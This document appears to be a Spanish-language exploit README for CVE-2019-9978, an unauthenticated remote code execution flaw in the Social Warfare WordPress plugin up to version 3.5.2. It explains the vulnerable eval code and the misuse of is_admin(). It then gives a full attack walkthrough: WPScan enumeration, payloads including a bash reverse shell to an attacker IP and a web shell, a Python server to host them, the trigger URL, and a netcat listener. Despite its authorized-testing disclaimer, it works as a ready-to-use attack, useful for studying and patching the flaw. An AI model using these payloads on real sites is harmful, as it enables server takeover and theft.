
Una guía completa y exploit para CVE-2019-9978 - Ejecución Remota de Código no Autenticada en el plugin Social Warfare para WordPress ≤ 3.5.2. Incluye análisis de código vulnerable y ejemplos de payload.

⚠️ AVISO: Este repositorio es solo para pruebas de seguridad educativas y autorizadas. Úselo únicamente en sistemas que posea o para los que tenga permiso explícito por escrito. El acceso no autorizado es ilegal.
| Propiedad | Valor |
|---|---|
| ID CVE | CVE-2019-9978 |
| Software Afectado | Plugin Social Warfare ≤ 3.5.2 (WordPress) |
| Tipo de Vulnerabilidad | Ejecución Remota de Código (RCE) / Inclusión Remota de Archivos (RFI) |
| Autenticación Requerida | ❌ No – sin autenticación |
| Puntuación CVSS | 9.8 (Crítico) |
| Corregido en | Versión 3.5.3 |
| Explotado en la naturaleza | Sí – Marzo 2019 |
El plugin Social Warfare es un plugin popular de WordPress que añade botones de compartir en redes sociales a sitios web. Las versiones 3.5.0 a 3.5.2 contienen una vulnerabilidad crítica de RCE que permite a atacantes ejecutar código PHP arbitrario en el servidor sin necesidad de autenticación.
Social Warfare es un plugin popular de WordPress que añade botones para compartir en redes sociales a sitios web, permitiendo a los visitantes compartir contenido fácilmente en plataformas como:

if ( true == SWP_Utility::debug( 'load_options' ) ) {
// ⚠️ ERROR CRÍTICO:
// is_admin() solo comprueba si la página está en /wp-admin/
// ¡NO verifica autenticación ni privilegios de usuario!
if ( is_admin() ) {
wp_die( 'No tienes autorización para ver esta página.' );
}
// Paso 1: Obtiene archivo remoto desde una URL controlada por el usuario
// ¡Sin validación, sin saneamiento, sin lista blanca!
$options = file_get_contents( $_GET['swp_url'] . '?swp_debug=get_user_options' );
// Paso 2: Extrae el contenido entre etiquetas <pre>
if ( strpos( $options, '<pre>' ) !== false ) {
$options = str_replace( '<pre>', '', $options );
$cutoff = strpos( $options, '</pre>' );
$options = substr( $options, 0, $cutoff );
}
// Paso 3: Construye la cadena de código PHP
$array = 'return ' . $options . ';';
// Paso 4: 💀 FALLO CRÍTICO - ¡Se ejecuta código proporcionado por el usuario!
try {
$fetched_options = eval( $array ); // <-- Ejecución Remota de Código
// ... resto de la lógica de migración
} catch ( ParseError $e ) {
// ... manejo de errores
}
}
is_admin() NO es SeguridadLa función de WordPress is_admin() no comprueba si un usuario ha iniciado sesión o tiene privilegios de administrador. Solo comprueba si la página solicitada está dentro del directorio /wp-admin/:
function is_admin() {
return defined('WP_ADMIN') && WP_ADMIN;
// ¡No comprueba autenticación!
// ¡No comprueba rol de usuario!
}
La ironía: Cuando accedes a /wp-admin/admin-post.php, WordPress define WP_ADMIN = true. Esto hace que is_admin() devuelva true incluso para solicitudes no autenticadas, lo que habilita la ejecución del bloque de código vulnerable.
$options = file_get_contents( $_GET['swp_url'] . '?swp_debug=get_user_options' );
if ( strpos( $options, '<pre>' ) !== false ) {
$options = str_replace( '<pre>', '', $options );
$cutoff = strpos( $options, '</pre>' );
$options = substr( $options, 0, $cutoff );
}
$array = 'return ' . $options . ';';
try {
$fetched_options = eval( $array ); // <-- Ejecución Remota de Código
}
El plugin tenía una funcionalidad de "depuración" oculta que se suponía ayudaría a los desarrolladores a cargar archivos de configuración desde URLs externas. Sin embargo, esta funcionalidad tenía un fallo fatal: descargaba cualquier archivo desde una URL proporcionada por el usuario y ejecutaba cualquier código que encontrara dentro — sin pedir permiso ni comprobar si el usuario estaba autorizado.
La explotación es simple:
Un atacante aloja un archivo malicioso en su propio servidor, le dice al plugin que lo descargue, y el plugin ejecuta ciegamente el código del atacante en el sitio web de la víctima. Como el plugin no requiere que hayas iniciado sesión para activar esto, cualquiera que conozca la URL puede tomar el control del sitio web.
Piénsalo así: Imagina un guardia de seguridad que abre cualquier puerta cuando dices "modo depuración" — sin verificar si trabajas allí o tienes una identificación. Eso es exactamente lo que hacía esta vulnerabilidad.
El exploit debe escribirse entre 2 etiquetas <pre></pre>.
Usa WPScan para identificar la versión del plugin Social Warfare:
wpscan --url http://objetivo.com --enumerate vp
Si lo instalaste tú mismo, no olvides activar el plugin desde el panel de administración.
Crea payload.txt con tu payload deseado y luego levanta un servidor para servir ese payload.
Ejemplos de payloads:
Payload de prueba (verificar RCE):
<pre>phpinfo();</pre>
Prueba fuera de banda:
<pre>@file_get_contents('http://burp collabrator');</pre>
Reverse Shell en Linux:
<pre>system("bash -c \"bash -i >& /dev/tcp/TU_IP/4444 0>&1\"");</pre>
Ejecutor de comandos interactivo:
<pre>system($_GET['cmd']);</pre>
Inicia un servidor HTTP de Python para alojar tu payload:
python3 -m http.server 8000
Tu payload ahora es accesible en: http://TU_IP:8000/payload.txt
Si usas localhost:
http://127.0.0.1:8000/payload.txt
Después de hacer la solicitud desde el código vulnerable, deberías ver un código de estado 200:

Opción A – Disparo manual:
Visita esta URL en tu navegador o usa curl:
http://ip_o_dominio_de_wordpress/wp-admin/admin-post.php?swp_debug=load_options&swp_url=http://IP_ATACANTE:8000/payload.txt
De nuevo, si usas localhost:
http://ip_o_dominio_de_wordpress/wp-admin/admin-post.php?swp_debug=load_options&swp_url=http://127.0.0.1:8000/payload.txt
nc -lvnp 4444
Si tiene éxito, ¡obtendrás una shell!
<pre>@file_get_contents('http://burp collabrator');</pre>

<pre>phpinfo();</pre>

¡Feliz Hacking! 🚀